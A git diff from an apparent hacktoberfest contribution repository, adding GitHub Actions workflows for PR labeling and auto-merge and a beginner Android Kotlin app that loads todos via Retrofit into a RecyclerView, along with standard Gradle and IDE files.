diff --git a/.DS_Store b/.DS_Store index 02fc07e14..8a9e158f0 100644 Binary files a/.DS_Store and b/.DS_Store differ diff --git a/.github/workflows/autolabel.yml b/.github/workflows/autolabel.yml new file mode 100644 index 000000000..13ba80a5c --- /dev/null +++ b/.github/workflows/autolabel.yml @@ -0,0 +1,62 @@ +name: Pull Request Messenger +on: + pull_request: + types: + - opened + +jobs: + comment: + runs-on: ubuntu-latest + permissions: + contents: read + pull-requests: write + + steps: + - uses: actions/github-script@v3 + with: + github-token: ${{secrets.GITHUB_TOKEN}} + script: | + # Create comment body as Markdown + + var msg = `👋 Thanks for participating! I will review as soon as possible, usually within a few hours. + + **Watch for notifications** as I may request some small changes to make sure this meets the guidelines.` + + # Get pull request description + var body = context.payload.pull_request.body + + # If `body` exists, check for conditions + # related to being from a contributor + if(body) { + var isContribution = body.contains('New Submission') + var incompleteGuidelines = body.contains('[]') + } + + if(isContribution) { + # Create comment + github.issues.createComment({ + issue_number: context.issue.number, + owner: context.repo.owner, + repo: context.repo.repo, + body: msg + }) + + # Add 'hacktoberfest-accepted' label + github.issues.addLabels({ + issue_number: context.issue.number, + owner: context.repo.owner, + repo: context.repo.repo, + labels: ['hacktoberfest-accepted'] + }) + + # If missed checking guidelines, + # add 'invalid' label + if(incompleteGuidelines) { + github.issues.addLabels({ + issue_number: context.issue.number, + owner: context.repo.owner, + repo: context.repo.repo, + labels: ['invalid'] + }) + } + } diff --git a/.github/workflows/automerge.yml b/.github/workflows/automerge.yml new file mode 100644 index 000000000..7a0fb41fb --- /dev/null +++ b/.github/workflows/automerge.yml @@ -0,0 +1,14 @@ +name: automerge +on: + pull_request: + types: + - labeled + +jobs: + automerge: + runs-on: ubuntu-latest + steps: + - name: automerge + uses: "pascalgn/automerge-action@v0.14.3" + env: + GITHUB_TOKEN: "${{ secrets.GITHUB_TOKEN }}" diff --git a/.gitignore b/.gitignore new file mode 100644 index 000000000..7e1dc4cfc --- /dev/null +++ b/.gitignore @@ -0,0 +1,5 @@ +# Add here the folders that not necessary. +# Folders from the your IDE create automatically +./.idea +.vs +.vscode diff --git a/.idea/checkstyle-idea.xml b/.idea/checkstyle-idea.xml new file mode 100644 index 000000000..e2be48c12 --- /dev/null +++ b/.idea/checkstyle-idea.xml @@ -0,0 +1,16 @@ + + + + + + \ No newline at end of file diff --git a/.idea/misc.xml b/.idea/misc.xml index d56657add..99ae653d0 100644 --- a/.idea/misc.xml +++ b/.idea/misc.xml @@ -1,4 +1,4 @@ - + \ No newline at end of file diff --git a/.idea/php.xml b/.idea/php.xml new file mode 100644 index 000000000..31b8a3a3b --- /dev/null +++ b/.idea/php.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/.replit b/.replit new file mode 100644 index 000000000..6134e302b --- /dev/null +++ b/.replit @@ -0,0 +1,2 @@ +language = "undefined" +run = "" \ No newline at end of file diff --git a/Android/Blood bank b/Android/Blood bank new file mode 160000 index 000000000..d9f3dda0c --- /dev/null +++ b/Android/Blood bank @@ -0,0 +1 @@ +Subproject commit d9f3dda0c54373a163d7a9ee653f0aba6db2c3be diff --git a/Android/Retrofit demo/.gitignore b/Android/Retrofit demo/.gitignore new file mode 100644 index 000000000..aa724b770 --- /dev/null +++ b/Android/Retrofit demo/.gitignore @@ -0,0 +1,15 @@ +*.iml +.gradle +/local.properties +/.idea/caches +/.idea/libraries +/.idea/modules.xml +/.idea/workspace.xml +/.idea/navEditor.xml +/.idea/assetWizardSettings.xml +.DS_Store +/build +/captures +.externalNativeBuild +.cxx +local.properties diff --git a/Android/Retrofit demo/.idea/.gitignore b/Android/Retrofit demo/.idea/.gitignore new file mode 100644 index 000000000..26d33521a --- /dev/null +++ b/Android/Retrofit demo/.idea/.gitignore @@ -0,0 +1,3 @@ +# Default ignored files +/shelf/ +/workspace.xml diff --git a/Android/Retrofit demo/.idea/.name b/Android/Retrofit demo/.idea/.name new file mode 100644 index 000000000..b3405b3b3 --- /dev/null +++ b/Android/Retrofit demo/.idea/.name @@ -0,0 +1 @@ +My Application \ No newline at end of file diff --git a/Android/Retrofit demo/.idea/compiler.xml b/Android/Retrofit demo/.idea/compiler.xml new file mode 100644 index 000000000..61a9130cd --- /dev/null +++ b/Android/Retrofit demo/.idea/compiler.xml @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/Android/Retrofit demo/.idea/gradle.xml b/Android/Retrofit demo/.idea/gradle.xml new file mode 100644 index 000000000..23a89bbb6 --- /dev/null +++ b/Android/Retrofit demo/.idea/gradle.xml @@ -0,0 +1,22 @@ + + + + + + + \ No newline at end of file diff --git a/Android/Retrofit demo/.idea/jarRepositories.xml b/Android/Retrofit demo/.idea/jarRepositories.xml new file mode 100644 index 000000000..a5f05cd8c --- /dev/null +++ b/Android/Retrofit demo/.idea/jarRepositories.xml @@ -0,0 +1,25 @@ + + + + + + + + + + + + + \ No newline at end of file diff --git a/Android/Retrofit demo/.idea/misc.xml b/Android/Retrofit demo/.idea/misc.xml new file mode 100644 index 000000000..d5d35ec44 --- /dev/null +++ b/Android/Retrofit demo/.idea/misc.xml @@ -0,0 +1,9 @@ + + + + + + + + \ No newline at end of file diff --git a/Android/Retrofit demo/app/.gitignore b/Android/Retrofit demo/app/.gitignore new file mode 100644 index 000000000..42afabfd2 --- /dev/null +++ b/Android/Retrofit demo/app/.gitignore @@ -0,0 +1 @@ +/build \ No newline at end of file diff --git a/Android/Retrofit demo/app/build.gradle b/Android/Retrofit demo/app/build.gradle new file mode 100644 index 000000000..5463d1f79 --- /dev/null +++ b/Android/Retrofit demo/app/build.gradle @@ -0,0 +1,62 @@ +plugins { + id 'com.android.application' + id 'kotlin-android' +} + +android { + compileSdkVersion 30 + buildToolsVersion "31.0.0" + + defaultConfig { + applicationId "com.example.retrofittut" + minSdkVersion 21 + targetSdkVersion 30 + versionCode 1 + versionName "1.0" + + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + buildFeatures { + viewBinding true + } + + buildTypes { + release { + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + kotlinOptions { + jvmTarget = '1.8' + } +} + +dependencies { + + implementation "org.jetbrains.kotlin:kotlin-stdlib:$kotlin_version" + implementation 'androidx.core:core-ktx:1.6.0' + implementation 'androidx.appcompat:appcompat:1.3.1' + implementation 'com.google.android.material:material:1.4.0' + implementation 'androidx.constraintlayout:constraintlayout:2.1.0' + testImplementation 'junit:junit:' + androidTestImplementation 'androidx.test.ext:junit:1.1.3' + androidTestImplementation 'androidx.test.espresso:espresso-core:3.4.0' + + + // Retrofit + implementation 'com.squareup.retrofit2:retrofit:2.9.0' + implementation 'com.squareup.retrofit2:converter-gson:2.9.0' + implementation "com.squareup.okhttp3:okhttp:4.9.0" + + // Coroutines + implementation 'org.jetbrains.kotlinx:kotlinx-coroutines-core:1.5.0' + implementation 'org.jetbrains.kotlinx:kotlinx-coroutines-android:1.4.1' + + // Coroutine Lifecycle Scopes + implementation "androidx.lifecycle:lifecycle-viewmodel-ktx:2.3.1" + implementation "androidx.lifecycle:lifecycle-runtime-ktx:2.3.1" +} \ No newline at end of file diff --git a/Android/Retrofit demo/app/proguard-rules.pro b/Android/Retrofit demo/app/proguard-rules.pro new file mode 100644 index 000000000..481bb4348 --- /dev/null +++ b/Android/Retrofit demo/app/proguard-rules.pro @@ -0,0 +1,21 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile \ No newline at end of file diff --git a/Android/Retrofit demo/app/src/androidTest/java/com/example/retrofittut/ExampleInstrumentedTest.kt b/Android/Retrofit demo/app/src/androidTest/java/com/example/retrofittut/ExampleInstrumentedTest.kt new file mode 100644 index 000000000..e94bbd5c1 --- /dev/null +++ b/Android/Retrofit demo/app/src/androidTest/java/com/example/retrofittut/ExampleInstrumentedTest.kt @@ -0,0 +1,24 @@ +package com.example.retrofittut + +import androidx.test.platform.app.InstrumentationRegistry +import androidx.test.ext.junit.runners.AndroidJUnit4 + +import org.junit.Test +import org.junit.runner.RunWith + +import org.junit.Assert.* + +/** + * Instrumented test, which will execute on an Android device. + * + * See [testing documentation](http://d.android.com/tools/testing). + */ +@RunWith(AndroidJUnit4::class) +class ExampleInstrumentedTest { + @Test + fun useAppContext() { + // Context of the app under test. + val appContext = InstrumentationRegistry.getInstrumentation().targetContext + assertEquals("com.example.retrofittut", appContext.packageName) + } +} \ No newline at end of file diff --git a/Android/Retrofit demo/app/src/main/AndroidManifest.xml b/Android/Retrofit demo/app/src/main/AndroidManifest.xml new file mode 100644 index 000000000..fc94dcbcc --- /dev/null +++ b/Android/Retrofit demo/app/src/main/AndroidManifest.xml @@ -0,0 +1,22 @@ + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Android/Retrofit demo/app/src/main/java/com/example/retrofittut/MainActivity.kt b/Android/Retrofit demo/app/src/main/java/com/example/retrofittut/MainActivity.kt new file mode 100644 index 000000000..72be09091 --- /dev/null +++ b/Android/Retrofit demo/app/src/main/java/com/example/retrofittut/MainActivity.kt @@ -0,0 +1,55 @@ +package com.example.retrofittut + +import androidx.appcompat.app.AppCompatActivity +import android.os.Bundle +import android.util.Log +import androidx.core.view.isVisible +import androidx.lifecycle.lifecycleScope +import androidx.recyclerview.widget.LinearLayoutManager +import com.example.retrofittut.databinding.ActivityMainBinding +import retrofit2.HttpException +import java.io.IOException +const val TAG = "MainAcctivity" +class MainActivity : AppCompatActivity() { + + + lateinit var binding: ActivityMainBinding + private lateinit var todoAdapter : TodoAdapter + override fun onCreate(savedInstanceState: Bundle?) { + super.onCreate(savedInstanceState) + binding = ActivityMainBinding.inflate(layoutInflater) + setContentView(binding.root) + setupRecyclerView() + + lifecycleScope.launchWhenCreated { + binding.progressBar.isVisible = true + + val response = try { + RetrofitInstance.api.getTodos() + }catch (e : IOException){ + binding.progressBar.isVisible = false + Log.e(TAG,"internet expection") + return@launchWhenCreated + }catch (e : HttpException){ + binding.progressBar.isVisible = false + Log.e(TAG,"http expection , unexpexted") + return@launchWhenCreated + } + + if (response.isSuccessful && response.body() != null ){ + todoAdapter.todos = response.body()!! + }else { + Log.e(TAG, "Response not successful") + } + binding.progressBar.isVisible = false + } + + } + + private fun setupRecyclerView() = binding.rvTodos.apply { + todoAdapter = TodoAdapter() + adapter = todoAdapter + layoutManager = LinearLayoutManager(this@MainActivity) + + } +} \ No newline at end of file diff --git a/Android/Retrofit demo/app/src/main/java/com/example/retrofittut/RetrofitInstance.kt b/Android/Retrofit demo/app/src/main/java/com/example/retrofittut/RetrofitInstance.kt new file mode 100644 index 000000000..5232afb5b --- /dev/null +++ b/Android/Retrofit demo/app/src/main/java/com/example/retrofittut/RetrofitInstance.kt @@ -0,0 +1,15 @@ +package com.example.retrofittut + +import retrofit2.Retrofit +import retrofit2.converter.gson.GsonConverterFactory + +object RetrofitInstance { + + val api: ToDoApi by lazy { + Retrofit.Builder() + .baseUrl("https://jsonplaceholder.typicode.com") + .addConverterFactory(GsonConverterFactory.create()) + .build() + .create(ToDoApi::class.java) + } +} diff --git a/Android/Retrofit demo/app/src/main/java/com/example/retrofittut/ToDoApi.kt b/Android/Retrofit demo/app/src/main/java/com/example/retrofittut/ToDoApi.kt new file mode 100644 index 000000000..b9499ac38 --- /dev/null +++ b/Android/Retrofit demo/app/src/main/java/com/example/retrofittut/ToDoApi.kt @@ -0,0 +1,15 @@ +package com.example.retrofittut +import retrofit2.Response +import retrofit2.http.Body +import retrofit2.http.GET +import retrofit2.http.POST + +interface ToDoApi { + + @GET("/todos") + // topass key use @Query("key"):Key : String + suspend fun getTodos():Response> + +// @POST("/createTodo") +// fun createTodo(@Body todo: Todo): Response +} \ No newline at end of file diff --git a/Android/Retrofit demo/app/src/main/java/com/example/retrofittut/Todo.kt b/Android/Retrofit demo/app/src/main/java/com/example/retrofittut/Todo.kt new file mode 100644 index 000000000..88cdf5142 --- /dev/null +++ b/Android/Retrofit demo/app/src/main/java/com/example/retrofittut/Todo.kt @@ -0,0 +1,8 @@ +package com.example.retrofittut + +data class Todo( + val completed: Boolean, + val id: Int, + val title: String, + val userId: Int +) \ No newline at end of file diff --git a/Android/Retrofit demo/app/src/main/java/com/example/retrofittut/TodoAdapter.kt b/Android/Retrofit demo/app/src/main/java/com/example/retrofittut/TodoAdapter.kt new file mode 100644 index 000000000..43d85f9f7 --- /dev/null +++ b/Android/Retrofit demo/app/src/main/java/com/example/retrofittut/TodoAdapter.kt @@ -0,0 +1,50 @@ +package com.example.retrofittut + +import android.view.LayoutInflater +import android.view.ViewGroup +import androidx.recyclerview.widget.AsyncListDiffer +import androidx.recyclerview.widget.DiffUtil +import androidx.recyclerview.widget.RecyclerView +import com.example.retrofittut.databinding.IteaTodosBinding + +class TodoAdapter : RecyclerView.Adapter() { + + inner class TodoViewHolder(val binding: IteaTodosBinding):RecyclerView.ViewHolder(binding.root) + + private val diffCallback = object : DiffUtil.ItemCallback() { + override fun areItemsTheSame(oldItem: Todo, newItem: Todo): Boolean { + return oldItem.id == newItem.id + } + + override fun areContentsTheSame(oldItem: Todo, newItem: Todo): Boolean { + return oldItem == newItem + } + } + + private val differ = AsyncListDiffer(this, diffCallback) + var todos: List + get() = differ.currentList + set(value) { differ.submitList(value) } + + override fun onCreateViewHolder(parent: ViewGroup, viewType: Int): TodoViewHolder { + return TodoViewHolder(IteaTodosBinding.inflate( + LayoutInflater.from(parent.context), + parent, + false + )) + } + + override fun onBindViewHolder(holder: TodoViewHolder, position: Int) { + holder.binding.apply { + val todo = todos[position] + tvTitle.text = todo.title + checkBox.isChecked = todo.completed + } + } + + override fun getItemCount(): Int { + return todos.size + } + + +} \ No newline at end of file diff --git a/Android/Retrofit demo/app/src/main/res/drawable-v24/ic_launcher_foreground.xml b/Android/Retrofit demo/app/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 000000000..2b068d114 --- /dev/null +++ b/Android/Retrofit demo/app/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/Android/Retrofit demo/app/src/main/res/drawable/ic_launcher_background.xml b/Android/Retrofit demo/app/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 000000000..07d5da9cb --- /dev/null +++ b/Android/Retrofit demo/app/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/Android/Retrofit demo/app/src/main/res/layout/activity_main.xml b/Android/Retrofit demo/app/src/main/res/layout/activity_main.xml new file mode 100644 index 000000000..86e05156e --- /dev/null +++ b/Android/Retrofit demo/app/src/main/res/layout/activity_main.xml @@ -0,0 +1,30 @@ + + + + + + + + \ No newline at end of file diff --git a/Android/Retrofit demo/app/src/main/res/layout/itea_todos.xml b/Android/Retrofit demo/app/src/main/res/layout/itea_todos.xml new file mode 100644 index 000000000..8a89b398f --- /dev/null +++ b/Android/Retrofit demo/app/src/main/res/layout/itea_todos.xml @@ -0,0 +1,28 @@ + + + + + + + \ No newline at end of file diff --git a/Android/Retrofit demo/app/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/Android/Retrofit demo/app/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 000000000..eca70cfe5 --- /dev/null +++ b/Android/Retrofit demo/app/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/Android/Retrofit demo/app/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/Android/Retrofit demo/app/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 000000000..eca70cfe5 --- /dev/null +++ b/Android/Retrofit demo/app/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/Android/Retrofit demo/app/src/main/res/mipmap-hdpi/ic_launcher.png b/Android/Retrofit demo/app/src/main/res/mipmap-hdpi/ic_launcher.png new file mode 100644 index 000000000..a571e6009 Binary files /dev/null and b/Android/Retrofit demo/app/src/main/res/mipmap-hdpi/ic_launcher.png differ diff --git a/Android/Retrofit demo/app/src/main/res/mipmap-hdpi/ic_launcher_round.png b/Android/Retrofit demo/app/src/main/res/mipmap-hdpi/ic_launcher_round.png new file mode 100644 index 000000000..61da551c5 Binary files /dev/null and b/Android/Retrofit demo/app/src/main/res/mipmap-hdpi/ic_launcher_round.png differ diff --git a/Android/Retrofit demo/app/src/main/res/mipmap-mdpi/ic_launcher.png b/Android/Retrofit demo/app/src/main/res/mipmap-mdpi/ic_launcher.png new file mode 100644 index 000000000..c41dd2853 Binary files /dev/null and b/Android/Retrofit demo/app/src/main/res/mipmap-mdpi/ic_launcher.png differ diff --git a/Android/Retrofit demo/app/src/main/res/mipmap-mdpi/ic_launcher_round.png b/Android/Retrofit demo/app/src/main/res/mipmap-mdpi/ic_launcher_round.png new file mode 100644 index 000000000..db5080a75 Binary files /dev/null and b/Android/Retrofit demo/app/src/main/res/mipmap-mdpi/ic_launcher_round.png differ diff --git a/Android/Retrofit demo/app/src/main/res/mipmap-xhdpi/ic_launcher.png b/Android/Retrofit demo/app/src/main/res/mipmap-xhdpi/ic_launcher.png new file mode 100644 index 000000000..6dba46dab Binary files /dev/null and b/Android/Retrofit demo/app/src/main/res/mipmap-xhdpi/ic_launcher.png differ diff --git a/Android/Retrofit demo/app/src/main/res/mipmap-xhdpi/ic_launcher_round.png b/Android/Retrofit demo/app/src/main/res/mipmap-xhdpi/ic_launcher_round.png new file mode 100644 index 000000000..da31a871c Binary files /dev/null and b/Android/Retrofit demo/app/src/main/res/mipmap-xhdpi/ic_launcher_round.png differ diff --git a/Android/Retrofit demo/app/src/main/res/mipmap-xxhdpi/ic_launcher.png b/Android/Retrofit demo/app/src/main/res/mipmap-xxhdpi/ic_launcher.png new file mode 100644 index 000000000..15ac68172 Binary files /dev/null and b/Android/Retrofit demo/app/src/main/res/mipmap-xxhdpi/ic_launcher.png differ diff --git a/Android/Retrofit demo/app/src/main/res/mipmap-xxhdpi/ic_launcher_round.png b/Android/Retrofit demo/app/src/main/res/mipmap-xxhdpi/ic_launcher_round.png new file mode 100644 index 000000000..b216f2d31 Binary files /dev/null and b/Android/Retrofit demo/app/src/main/res/mipmap-xxhdpi/ic_launcher_round.png differ diff --git a/Android/Retrofit demo/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png b/Android/Retrofit demo/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png new file mode 100644 index 000000000..f25a41974 Binary files /dev/null and b/Android/Retrofit demo/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png differ diff --git a/Android/Retrofit demo/app/src/main/res/mipmap-xxxhdpi/ic_launcher_round.png b/Android/Retrofit demo/app/src/main/res/mipmap-xxxhdpi/ic_launcher_round.png new file mode 100644 index 000000000..e96783ccc Binary files /dev/null and b/Android/Retrofit demo/app/src/main/res/mipmap-xxxhdpi/ic_launcher_round.png differ diff --git a/Android/Retrofit demo/app/src/main/res/values-night/themes.xml b/Android/Retrofit demo/app/src/main/res/values-night/themes.xml new file mode 100644 index 000000000..203e2191b --- /dev/null +++ b/Android/Retrofit demo/app/src/main/res/values-night/themes.xml @@ -0,0 +1,16 @@ + + + + \ No newline at end of file diff --git a/Android/Retrofit demo/app/src/main/res/values/colors.xml b/Android/Retrofit demo/app/src/main/res/values/colors.xml new file mode 100644 index 000000000..f8c6127d3 --- /dev/null +++ b/Android/Retrofit demo/app/src/main/res/values/colors.xml @@ -0,0 +1,10 @@ + + + #FFBB86FC + #FF6200EE + #FF3700B3 + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + \ No newline at end of file diff --git a/Android/Retrofit demo/app/src/main/res/values/strings.xml b/Android/Retrofit demo/app/src/main/res/values/strings.xml new file mode 100644 index 000000000..3de1a3968 --- /dev/null +++ b/Android/Retrofit demo/app/src/main/res/values/strings.xml @@ -0,0 +1,3 @@ + + My Application + \ No newline at end of file diff --git a/Android/Retrofit demo/app/src/main/res/values/themes.xml b/Android/Retrofit demo/app/src/main/res/values/themes.xml new file mode 100644 index 000000000..eebc2d049 --- /dev/null +++ b/Android/Retrofit demo/app/src/main/res/values/themes.xml @@ -0,0 +1,16 @@ + + + + \ No newline at end of file diff --git a/Android/Retrofit demo/app/src/test/java/com/example/retrofittut/ExampleUnitTest.kt b/Android/Retrofit demo/app/src/test/java/com/example/retrofittut/ExampleUnitTest.kt new file mode 100644 index 000000000..aa30c8030 --- /dev/null +++ b/Android/Retrofit demo/app/src/test/java/com/example/retrofittut/ExampleUnitTest.kt @@ -0,0 +1,17 @@ +package com.example.retrofittut + +import org.junit.Test + +import org.junit.Assert.* + +/** + * Example local unit test, which will execute on the development machine (host). + * + * See [testing documentation](http://d.android.com/tools/testing). + */ +class ExampleUnitTest { + @Test + fun addition_isCorrect() { + assertEquals(4, 2 + 2) + } +} \ No newline at end of file diff --git a/Android/Retrofit demo/build.gradle b/Android/Retrofit demo/build.gradle new file mode 100644 index 000000000..4709739c3 --- /dev/null +++ b/Android/Retrofit demo/build.gradle @@ -0,0 +1,26 @@ +// Top-level build file where you can add configuration options common to all sub-projects/modules. +buildscript { + ext.kotlin_version = "1.4.32" + repositories { + google() + jcenter() + } + dependencies { + classpath "com.android.tools.build:gradle:4.1.0" + classpath "org.jetbrains.kotlin:kotlin-gradle-plugin:$kotlin_version" + + // NOTE: Do not place your application dependencies here; they belong + // in the individual module build.gradle files + } +} + +allprojects { + repositories { + google() + jcenter() + } +} + +task clean(type: Delete) { + delete rootProject.buildDir +} \ No newline at end of file diff --git a/Android/Retrofit demo/gradle.properties b/Android/Retrofit demo/gradle.properties new file mode 100644 index 000000000..98bed167d --- /dev/null +++ b/Android/Retrofit demo/gradle.properties @@ -0,0 +1,21 @@ +# Project-wide Gradle settings. +# IDE (e.g. Android Studio) users: +# Gradle settings configured through the IDE *will override* +# any settings specified in this file. +# For more details on how to configure your build environment visit +# http://www.gradle.org/docs/current/userguide/build_environment.html +# Specifies the JVM arguments used for the daemon process. +# The setting is particularly useful for tweaking memory settings. +org.gradle.jvmargs=-Xmx2048m -Dfile.encoding=UTF-8 +# When configured, Gradle will run in incubating parallel mode. +# This option should only be used with decoupled projects. More details, visit +# http://www.gradle.org/docs/current/userguide/multi_project_builds.html#sec:decoupled_projects +# org.gradle.parallel=true +# AndroidX package structure to make it clearer which packages are bundled with the +# Android operating system, and which are packaged with your app"s APK +# https://developer.android.com/topic/libraries/support-library/androidx-rn +android.useAndroidX=true +# Automatically convert third-party libraries to use AndroidX +android.enableJetifier=true +# Kotlin code style for this project: "official" or "obsolete": +kotlin.code.style=official \ No newline at end of file diff --git a/Android/Retrofit demo/gradle/wrapper/gradle-wrapper.jar b/Android/Retrofit demo/gradle/wrapper/gradle-wrapper.jar new file mode 100644 index 000000000..f6b961fd5 Binary files /dev/null and b/Android/Retrofit demo/gradle/wrapper/gradle-wrapper.jar differ diff --git a/Android/Retrofit demo/gradle/wrapper/gradle-wrapper.properties b/Android/Retrofit demo/gradle/wrapper/gradle-wrapper.properties new file mode 100644 index 000000000..21daf05b3 --- /dev/null +++ b/Android/Retrofit demo/gradle/wrapper/gradle-wrapper.properties @@ -0,0 +1,6 @@ +#Sun Sep 12 11:48:53 IST 2021 +distributionBase=GRADLE_USER_HOME +distributionPath=wrapper/dists +zipStoreBase=GRADLE_USER_HOME +zipStorePath=wrapper/dists +distributionUrl=https\://services.gradle.org/distributions/gradle-6.5-bin.zip diff --git a/Android/Retrofit demo/gradlew b/Android/Retrofit demo/gradlew new file mode 100644 index 000000000..cccdd3d51 --- /dev/null +++ b/Android/Retrofit demo/gradlew @@ -0,0 +1,172 @@ +#!/usr/bin/env sh + +############################################################################## +## +## Gradle start up script for UN*X +## +############################################################################## + +# Attempt to set APP_HOME +# Resolve links: $0 may be a link +PRG="$0" +# Need this for relative symlinks. +while [ -h "$PRG" ] ; do + ls=`ls -ld "$PRG"` + link=`expr "$ls" : '.*-> \(.*\)$'` + if expr "$link" : '/.*' > /dev/null; then + PRG="$link" + else + PRG=`dirname "$PRG"`"/$link" + fi +done +SAVED="`pwd`" +cd "`dirname \"$PRG\"`/" >/dev/null +APP_HOME="`pwd -P`" +cd "$SAVED" >/dev/null + +APP_NAME="Gradle" +APP_BASE_NAME=`basename "$0"` + +# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +DEFAULT_JVM_OPTS="" + +# Use the maximum available, or set MAX_FD != -1 to use that value. +MAX_FD="maximum" + +warn () { + echo "$*" +} + +die () { + echo + echo "$*" + echo + exit 1 +} + +# OS specific support (must be 'true' or 'false'). +cygwin=false +msys=false +darwin=false +nonstop=false +case "`uname`" in + CYGWIN* ) + cygwin=true + ;; + Darwin* ) + darwin=true + ;; + MINGW* ) + msys=true + ;; + NONSTOP* ) + nonstop=true + ;; +esac + +CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar + +# Determine the Java command to use to start the JVM. +if [ -n "$JAVA_HOME" ] ; then + if [ -x "$JAVA_HOME/jre/sh/java" ] ; then + # IBM's JDK on AIX uses strange locations for the executables + JAVACMD="$JAVA_HOME/jre/sh/java" + else + JAVACMD="$JAVA_HOME/bin/java" + fi + if [ ! -x "$JAVACMD" ] ; then + die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." + fi +else + JAVACMD="java" + which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." +fi + +# Increase the maximum file descriptors if we can. +if [ "$cygwin" = "false" -a "$darwin" = "false" -a "$nonstop" = "false" ] ; then + MAX_FD_LIMIT=`ulimit -H -n` + if [ $? -eq 0 ] ; then + if [ "$MAX_FD" = "maximum" -o "$MAX_FD" = "max" ] ; then + MAX_FD="$MAX_FD_LIMIT" + fi + ulimit -n $MAX_FD + if [ $? -ne 0 ] ; then + warn "Could not set maximum file descriptor limit: $MAX_FD" + fi + else + warn "Could not query maximum file descriptor limit: $MAX_FD_LIMIT" + fi +fi + +# For Darwin, add options to specify how the application appears in the dock +if $darwin; then + GRADLE_OPTS="$GRADLE_OPTS \"-Xdock:name=$APP_NAME\" \"-Xdock:icon=$APP_HOME/media/gradle.icns\"" +fi + +# For Cygwin, switch paths to Windows format before running java +if $cygwin ; then + APP_HOME=`cygpath --path --mixed "$APP_HOME"` + CLASSPATH=`cygpath --path --mixed "$CLASSPATH"` + JAVACMD=`cygpath --unix "$JAVACMD"` + + # We build the pattern for arguments to be converted via cygpath + ROOTDIRSRAW=`find -L / -maxdepth 1 -mindepth 1 -type d 2>/dev/null` + SEP="" + for dir in $ROOTDIRSRAW ; do + ROOTDIRS="$ROOTDIRS$SEP$dir" + SEP="|" + done + OURCYGPATTERN="(^($ROOTDIRS))" + # Add a user-defined pattern to the cygpath arguments + if [ "$GRADLE_CYGPATTERN" != "" ] ; then + OURCYGPATTERN="$OURCYGPATTERN|($GRADLE_CYGPATTERN)" + fi + # Now convert the arguments - kludge to limit ourselves to /bin/sh + i=0 + for arg in "$@" ; do + CHECK=`echo "$arg"|egrep -c "$OURCYGPATTERN" -` + CHECK2=`echo "$arg"|egrep -c "^-"` ### Determine if an option + + if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then ### Added a condition + eval `echo args$i`=`cygpath --path --ignore --mixed "$arg"` + else + eval `echo args$i`="\"$arg\"" + fi + i=$((i+1)) + done + case $i in + (0) set -- ;; + (1) set -- "$args0" ;; + (2) set -- "$args0" "$args1" ;; + (3) set -- "$args0" "$args1" "$args2" ;; + (4) set -- "$args0" "$args1" "$args2" "$args3" ;; + (5) set -- "$args0" "$args1" "$args2" "$args3" "$args4" ;; + (6) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" ;; + (7) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" ;; + (8) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" ;; + (9) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" "$args8" ;; + esac +fi + +# Escape application args +save () { + for i do printf %s\\n "$i" | sed "s/'/'\\\\''/g;1s/^/'/;\$s/\$/' \\\\/" ; done + echo " " +} +APP_ARGS=$(save "$@") + +# Collect all arguments for the java command, following the shell quoting and substitution rules +eval set -- $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS "\"-Dorg.gradle.appname=$APP_BASE_NAME\"" -classpath "\"$CLASSPATH\"" org.gradle.wrapper.GradleWrapperMain "$APP_ARGS" + +# by default we should be in the correct project dir, but when run from Finder on Mac, the cwd is wrong +if [ "$(uname)" = "Darwin" ] && [ "$HOME" = "$PWD" ]; then + cd "$(dirname "$0")" +fi + +exec "$JAVACMD" "$@" diff --git a/Android/Retrofit demo/gradlew.bat b/Android/Retrofit demo/gradlew.bat new file mode 100644 index 000000000..f9553162f --- /dev/null +++ 